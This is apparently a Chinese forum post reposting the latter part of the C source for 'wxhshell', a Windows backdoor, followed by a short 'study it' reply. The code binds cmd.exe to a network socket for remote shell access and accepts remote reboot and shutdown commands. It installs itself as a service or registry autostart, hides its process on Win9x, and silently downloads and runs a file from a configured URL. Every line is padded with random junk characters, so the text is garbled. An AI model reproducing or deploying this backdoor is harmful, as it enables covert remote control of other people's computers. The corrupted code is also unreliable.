  if(DownloadFile(cmd,wsh)) (R9{wGV [  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l"{1v ~I  
  else Sj[iKCEKtv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :Zs i5>MT  
  } ?ufX3yia  
  else { >8* 0"Q  
U '$W$()p  
    switch(cmd[0]) { HGwSsoS  
  Q{:5gh  
  // 帮助 c*k%r2'  
  case '?': { A(2\Gfe  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .Wr%l $~  
    break; A=PJg!  
  } yx@%x?B  
  // 安装 E .'v,GYe  
  case 'i': { At0ahy+  
    if(Install()) _s1pif  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jp d|<\Ml  
    else e #5LBSP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'o!{YLJ fM  
    break; _x2i=SFo*$  
    } Mur)'  
  // 卸载 o4zX 41W  
  case 'r': { 1@i|[dq  
    if(Uninstall()) =hP7 Hea(N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {\-9^RL  
    else &2P+9j>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M3 TsalF  
    break; xk#q_!(j  
    } w|k?2 ?&  
  // 显示 wxhshell 所在路径 ~fht [S?@M  
  case 'p': { S{0iPdUC  
    char svExeFile[MAX_PATH]; PX} ~  
    strcpy(svExeFile,"\n\r"); nB &[R  
      strcat(svExeFile,ExeFile); ^?~WIS  
        send(wsh,svExeFile,strlen(svExeFile),0); xnR;#Yc  
    break; y37c&XYq  
    } NKSK+ll2  
  // 重启 ;UAi>//#   
  case 'b': { Qvx[F:#Tk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P4VMGP  
    if(Boot(REBOOT)) )Z"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); , S }  
    else { xpU7ZY  
    closesocket(wsh); l9P=1TL  
    ExitThread(0); p9(|p Z  
    } R^ln-H;  
    break; DH>>u  
    } t|5T,YFG  
  // 关机 WXj iKW(  
  case 'd': { \{@n >Mh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Gkr]8J  
    if(Boot(SHUTDOWN)) `xq/<U;i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fs3rsig  
    else { -_KO}_  
    closesocket(wsh); 9'5`0$,|^  
    ExitThread(0); 9*<=K  
    } PsMp &~^  
    break; 0D s W1  
    } 'Zket=Sm;  
  // 获取shell r3BQo[ 't  
  case 's': { y"L7.B  
    CmdShell(wsh); og~Uv"&?T  
    closesocket(wsh); Po1/_# mu  
    ExitThread(0); 0XWhSrHM  
    break; mH,L,3R;R  
  } JS^QfT,zE  
  // 退出 ceUhCb  
  case 'x': { qk *b,`;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l2*o@&.  
    CloseIt(wsh); ' O+)[D  
    break; DTMoZm  
    } F*['1eAmdY  
  // 离开 11g_!X -g@  
  case 'q': { ~ubcD6f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DmA~Vj!a^y  
    closesocket(wsh); N+9W2n  
    WSACleanup(); ?s-Z3{k  
    exit(1); 5{Oq* |  
    break; wR%F>[ 6.{  
        } DCheG7lo{  
  } s$wIL//=  
  } }HKt{k&$  
Mjj5~by:  
  // 提示信息 Pl\r|gS;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QUO'{;,  
} Yf?hl  
  } 51Q m2,P1^  
Q|7$SS6$  
  return; ?lPyapA]  
} 4c'F.0^  
i!i=6m.q7  
// shell模块句柄 \5pBK  
int CmdShell(SOCKET sock) TZ+- >CG  
{ =H_vRd  
STARTUPINFO si; (~ `?_  
ZeroMemory(&si,sizeof(si)); Jmml2?V-c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3Jh!YzI8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l8~s#:v6X  
PROCESS_INFORMATION ProcessInfo; %E k!3t  
char cmdline[]="cmd"; Ef]<0Tm]:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6.'j \  
  return 0; bP)( 4+t~  
} RA$%3L[A!  
c2RQwtN|  
// 自身启动模式 xh:A*ZI=7  
int StartFromService(void) dI?x&#(vw  
{ xiy=D5N.=  
typedef struct &~KAZ}xu  
{ Z4s+8cTHn  
  DWORD ExitStatus; WXs?2S*  
  DWORD PebBaseAddress; R^?9 V=Y<T  
  DWORD AffinityMask; hCPyCq]  
  DWORD BasePriority; R KXhD PA  
  ULONG UniqueProcessId; >n"4M~I  
  ULONG InheritedFromUniqueProcessId; [e f&|Pi-  
}   PROCESS_BASIC_INFORMATION; B(1WI_}~  
cfC}"As  
PROCNTQSIP NtQueryInformationProcess; V)Sw\tS6g  
7SJbrOL4Q-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;u*I#)7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %:!ILN  
<;lwvO  
  HANDLE             hProcess; ey@{Ng#  
  PROCESS_BASIC_INFORMATION pbi; TFG0~"4Cz  
7tP qez#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qORL 7?{  
  if(NULL == hInst ) return 0; Lyq[gQjr  
&[7z:`+Y##  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AaLbJYuKd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rcAPp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;Xl {m`E+  
FI"KJk'  
  if (!NtQueryInformationProcess) return 0; M3VTzwuf^S  
cb5T-'hY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y!VL`xV  
  if(!hProcess) return 0; PS3jCT  
2 -pv &  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2(2UAB"u  
TZ#^AV=ae  
  CloseHandle(hProcess); EYRg,U&'  
q|sT4} =  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T"/dn%21  
if(hProcess==NULL) return 0; ] B?NDxU  
v|R#[vtFd  
HMODULE hMod; 8bdx$,$k  
char procName[255]; Ei4Iv#Oi`  
unsigned long cbNeeded; (_3QZ  
UB,0c)   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gE9x+g  
m(w9s;<  
  CloseHandle(hProcess); +Kp8X53  
()W`4p  
if(strstr(procName,"services")) return 1; // 以服务启动 j;J`P H  
6F_:,b^  
  return 0; // 注册表启动 Zd}12HFq  
} &EhOSu  
$/crb8-C  
// 主模块 e^k)756  
int StartWxhshell(LPSTR lpCmdLine) |pZ:5ta#  
{ ny}_^3  
  SOCKET wsl; :7?n)=Tx  
BOOL val=TRUE; H5(: 1  
  int port=0; =wMq!mBd  
  struct sockaddr_in door; Z#%s/TL  
+`7!4gxwK!  
  if(wscfg.ws_autoins) Install(); E> N[  
>mj WC) U  
port=atoi(lpCmdLine); d*dPi^JjC  
7l4}b^>/`  
if(port<=0) port=wscfg.ws_port; n)PqA*  
q)3QmA~  
  WSADATA data; K+ |0~/0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; (QS 0  
{s0!hp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a1shP};pK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OkMAqS  
  door.sin_family = AF_INET; Gi\Z"MiBZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); SB`xr!~A]  
  door.sin_port = htons(port); K7t_Q8  
0j2mTF(C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [QIQpBL  
closesocket(wsl); m^ /s}WEqp  
return 1; JfRLqA/  
} 6OR)97  
kZ=2# .  
  if(listen(wsl,2) == INVALID_SOCKET) { RG9iTA'  
closesocket(wsl); OQVo4yl"  
return 1; XUA%3Xr  
} Ya}}a  
  Wxhshell(wsl); JkQ\r$ Y.  
  WSACleanup(); T^ - -:1  
11%Zx3  
return 0; }:S}jo7  
;B !p4 hu  
} %{jL+4veoL  
nG$+9}\UlP  
// 以NT服务方式启动 ,/"0tP&_;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p!EG:B4  
{ Z= =c3~  
DWORD   status = 0; MkWbPm)  
  DWORD   specificError = 0xfffffff; p*l=rni4  
S{Zf}8?6$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; iI3,q-LA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z`#XB2,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <B'PB"R3y  
  serviceStatus.dwWin32ExitCode     = 0; +U iJWO  
  serviceStatus.dwServiceSpecificExitCode = 0; 8\G"I  
  serviceStatus.dwCheckPoint       = 0; U,lO{J[T  
  serviceStatus.dwWaitHint       = 0; +1r><do;  
TAq[g|N-;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g>g*1oS  
  if (hServiceStatusHandle==0) return; 7=s7dYlu  
-"I9`  
status = GetLastError(); 3_>=Cv}  
  if (status!=NO_ERROR) CSH*^nk':O  
{ !b$]D?=}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I|Mw*2U  
    serviceStatus.dwCheckPoint       = 0; qfRrX"  
    serviceStatus.dwWaitHint       = 0; .*Z#;3  
    serviceStatus.dwWin32ExitCode     = status; .EC~o  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y?-Ef sK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {"*_++|  
    return; pb G5y7  
  } j=c< Lo`  
$W9dUR0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ya-GDB;L  
  serviceStatus.dwCheckPoint       = 0; 4y!GFhMh  
  serviceStatus.dwWaitHint       = 0; gGx<k3W^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ND/oKM+?  
} h gu\~}kD  
wYDdy gS  
// 处理NT服务事件,比如:启动、停止 Lt i2KY}/%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {Es1bO  
{ >U(E \`9D  
switch(fdwControl) ! %B-y 9\  
{ KL*+gq0k  
case SERVICE_CONTROL_STOP: cC]]H&'Hg+  
  serviceStatus.dwWin32ExitCode = 0; i(*fv(z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9Q1w$t~Y  
  serviceStatus.dwCheckPoint   = 0; ?O"zp65d(  
  serviceStatus.dwWaitHint     = 0; )-h{0o  
  { 7I*rtc&Kb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o6:@j#b  
  } wr~Qy4 ny  
  return; [Fv_~F491  
case SERVICE_CONTROL_PAUSE: deJ/3\t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I:0dz:T7*  
  break; a-AA$U9hj  
case SERVICE_CONTROL_CONTINUE: *$3p3-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $M~`)UeV_  
  break; F"QJ)F  
case SERVICE_CONTROL_INTERROGATE: ;,7m  
  break; u68ic1  
}; c~}FYO$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BqM[{Kv  
} =dmxE*C  
O-box?  
// 标准应用程序主函数 y'n<oSB}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) DiZ;FHnaG?  
{ @!|h!p;  
t gHN\@yj  
// 获取操作系统版本 $ e.Bz `  
OsIsNt=GetOsVer(); a54S,}|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); na 0Zb  
mX, @yCI  
  // 从命令行安装 er2;1TW3E  
  if(strpbrk(lpCmdLine,"iI")) Install(); EfkBo5@Qi  
M:L-j{?y_  
  // 下载执行文件 Kzy9i/bL  
if(wscfg.ws_downexe) { tK `A_hC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R]RLy#j  
  WinExec(wscfg.ws_filenam,SW_HIDE); SR`A]EC(V  
} 6q7jI )l  
s@Loax6@B  
if(!OsIsNt) { +UX} "m~W  
// 如果时win9x,隐藏进程并且设置为注册表启动 vl?fCO  
HideProc(); 54/ZGaonz  
StartWxhshell(lpCmdLine); j^eM i  
} kBY#= e).  
else |tz{Es<`B  
  if(StartFromService()) _X@ Q`d  
  // 以服务方式启动 88 ca  
  StartServiceCtrlDispatcher(DispatchTable); L(X}37  
else lQ"t#b+  
  // 普通方式启动 P ?96;  
  StartWxhshell(lpCmdLine); 7HL23Vr k  
>5zD0!bA  
return 0; ABL5T-*]  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五